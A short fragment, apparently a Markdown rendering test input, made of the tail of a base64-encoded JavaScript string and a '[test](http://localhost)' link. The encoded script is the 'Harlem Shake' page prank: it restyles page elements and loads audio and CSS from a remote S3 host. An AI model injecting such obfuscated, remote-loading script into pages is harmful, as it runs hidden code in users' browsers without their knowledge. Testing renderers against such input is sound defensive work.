d0aDspe2Vbbl0uY2xhc3NOYW1lPWVbbl0uY2xhc3NOYW1lLnJlcGxhY2UodCwiIil9fXZhciBlPTMwO3ZhciB0PTMwO3ZhciBuPTM1MDt2YXIgcj0zNTA7dmFyIGk9Ii8vczMuYW1hem9uYXdzLmNvbS9tb292d2ViLW1hcmtldGluZy9wbGF5Z3JvdW5kL2hhcmxlbS1zaGFrZS5tcDMiO3ZhciBzPSJtdy1oYXJsZW1fc2hha2VfbWUiO3ZhciBvPSJpbV9maXJzdCI7dmFyIHU9WyJpbV9kcnVuayIsImltX2Jha2VkIiwiaW1fdHJpcHBpbiIsImltX2Jsb3duIl07dmFyIGE9Im13LXN0cm9iZV9saWdodCI7dmFyIGY9Ii8vczMuYW1hem9uYXdzLmNvbS9tb292d2ViLW1hcmtldGluZy9wbGF5Z3JvdW5kL2hhcmxlbS1zaGFrZS1zdHlsZS5jc3MiO3ZhciBsPSJtd19hZGRlZF9jc3MiO3ZhciBiPWcoKTt2YXIgdz15KCk7dmFyIEM9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoIioiKTt2YXIgaz1udWxsO2Zvcih2YXIgTD0wO0w8Qy5sZW5ndGg7TCsrKXt2YXIgQT1DW0xdO2lmKHYoQSkpe2lmKEUoQSkpe2s9QTticmVha319fWlmKEE9PT1udWxsKXtjb25zb2xlLndhcm4oIkNvdWxkIG5vdCBmaW5kIGEgbm9kZSBvZiB0aGUgcmlnaHQgc2l6ZS4gUGxlYXNlIHRyeSBhIGRpZmZlcmVudCBwYWdlLiIpO3JldHVybn1jKCk7UygpO3ZhciBPPVtdO2Zvcih2YXIgTD0wO0w8Qy5sZW5ndGg7TCsrKXt2YXIgQT1DW0xdO2lmKHYoQSkpe08ucHVzaChBKX19fSkoKQ==')))
2 |
3 | [test](http://localhost)
4 |
--------------------------------------------------------------------------------